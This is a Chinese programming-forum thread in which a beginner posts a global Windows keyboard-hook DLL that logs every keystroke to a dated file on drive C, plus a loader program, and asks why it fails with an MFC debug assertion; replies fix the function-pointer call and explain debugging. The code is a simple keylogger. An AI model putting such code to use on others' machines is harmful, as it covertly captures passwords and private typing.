这是我修改的网上的一段代码 
在dll文件中: 
cpp 文件 
#include "stdafx.h" 
#include "Afxwin.h" 
#include "xinDll.h" 
#include "stdio.h" 
#include "windows.h" 
#pragma data_seg("Shared") 
HHOOK Hook; 
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam); 
void SaveLog(char* c); 
#pragma data_seg() 
#pragma comment(linker,"/section:Shared,rws") 
HINSTANCE stance = AfxGetInstanceHandle(); 
DllExport void WINAPI InstallLaunchEv() 

Hook=(HHOOK)SetWindowsHookExA(WH_KEYBOARD, LauncherHook, (HINSTANCE)stance, 0); 
if(Hook==NULL) 
{::MessageBox(0,"gouzimeianshang!",0,0);} 
} LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam) 

LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); 
if(nCode==HC_ACTION) 

if(lParam & 0x80000000) 

char c[1]; 
c[0]=wParam; 
SaveLog(c); 


return Result; 
} void SaveLog(char* c) 

CTime tm=CTime::GetCurrentTime(); 
CString name; 
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
CFile file; 
if(!file.Open(name,CFile::modeReadWrite)) 

file.Open(name,CFile::modeCreate|CFile::modeReadWrite); 

file.SeekToEnd(); 
file.Write(c,1); 
file.Close(); 

xindll.h头文件代码: 
#pragma once 
#ifndef DLLExport 
#define DllExport __declspec(dllexport) 
#endif 
DllExport void WINAPI InstallLaunchEv(); 
调用程序代码: 
cpp: 
#include "stdafx.h" 
#include <stdio.h> 
#include <windows.h> 
typedef int(*lpAddFun)(int, int); //宏定义函数指针类型 
int main(int argc, char *argv[]) 

HINSTANCE hDll; //DLL句柄 
lpAddFun addFun; //函数指针 
hDll = LoadLibrary("xindll.dll"); 
if (hDll != NULL) 

addFun = (lpAddFun)GetProcAddress(hDll, "InstallLaunchEv"); 
if (addFun != NULL) 

int result; 
result = addFun(2, 3); 
printf("%d",result); 
::MessageBox(NULL,"你好!","欢迎界面",MB_OK); 

else 
::MessageBox(NULL,"失败","欢迎界面",MB_OK); 
FreeLibrary(hDll); 

return 0; 

以上程序运行后老是报两个错误: 
1. 
2.然后我点忽略 就弹出失败对话框 
请高手教下 谢谢

解决方案 »

  1.   

    InstallLaunchEv函数没有定义参数,你硬给传了两个参数过去,当然不行。
    typedef int(*lpAddFun)(int, int);
    改成:
    typedef void (*lpAddFun)();result = addFun(2, 3); 
    改成:
    addFun();
      

  2.   

    不行 怎么还是出这个错误 我是这样改的:
    #include "stdafx.h"
    #include <stdio.h>
    #include <windows.h>
    typedef void(*lpAddFun)(); //宏定义函数指针类型
    int main(int argc, char *argv[])
    {
    HINSTANCE hDll; //DLL句柄 
    lpAddFun addFun; //函数指针
    hDll = LoadLibrary("xindll.dll");
    if (hDll != NULL)
    {
    addFun = (lpAddFun)GetProcAddress(hDll, "InstallLaunchEv");
    if (addFun != NULL)
    {
    addFun();
    ::MessageBox(NULL,"你好!","欢迎界面",MB_OK);
    }
    else
    ::MessageBox(NULL,"失败","欢迎界面",MB_OK);
    FreeLibrary(hDll);
    }
    return 0;
    }
      

  3.   

    就是他首先出现这个画面:然后我点忽略
    就出现这个:这个钩子是一个dll 一个exe程序调试时候都没有错误就是运行exe后出现了这些,我想一定是钩子没挂上可是为什么挂不上不知道!?
      

  4.   

    啊 不是吧 靠 我晕 是这样我运行keyhook.exe文件后他首先出现一个错误对话框:
     Microsoft   Visual   C++   Debug   Library   
      ---------------------------   
      Debug   Assertion   Failed!   
        
      Program:   E:\学习\c++程序\keyhook\Debug\keyhook.exe   
      File:   afxwin1.inl   
      Line:   19   
        
      For   information   on   how   your   program   can   cause   an   assertion   
      failure,   see   the   Visual   C++   documentation   on   asserts.   
        
      (Press   Retry   to   debug   the   application)   
      ---------------------------   
      终止(A)       重试(R)       忽略(I)         
      ---------------------------   
    然后 我点忽略 就出下下面这个对话框(就是程序里写的那个出错对话框)
    --------------------------
    欢迎界面
    --------------------------
    失败
    --------------------------
    确定
    --------------------------然后我再点确定程序就结束了 我想一定是钩子没挂上可是为什么挂不上不知道!?
      

  5.   

    看来是LoadLibrary时产生了异常,你调试看看。
    另外,这种用做Hook的DLL最好用Win32 DLL,如果一定要用MFC,也要用MFC规则DLL,不能用MFC扩展DLL。
      

  6.   

    哦 我用mfc标准静态dll 请问怎么调试loadlibrary啊 我是新手 还想问下c++怎么这莫奇怪我的程序已经通过编译并且生成exe文件了怎么还会出错? 我以前用vb的时候就从不会这样(我说的不包括逻辑错误)
      

  7.   

    把DLL项目设置为活动项目,在项目属性中调试设置中将exe文件及路径填写到命令位置,在DLL的初始化函数上设置断点,然后开始调试。
    生成程序时只会做语法检查,并不能保证程序的代码是否正确。VB中没遇到这种问题只能说你写的代码还不够多。
      

  8.   

    哈哈 楼上批评的很深刻, VB C++ 不都一样 编译通过 运行不通过 家常便饭
    Debug  Assertion  Failed!  把断言的地方打出来
      

  9.   

    aiyoso都看不懂你们说的什么什么!唉都怪在自己水平差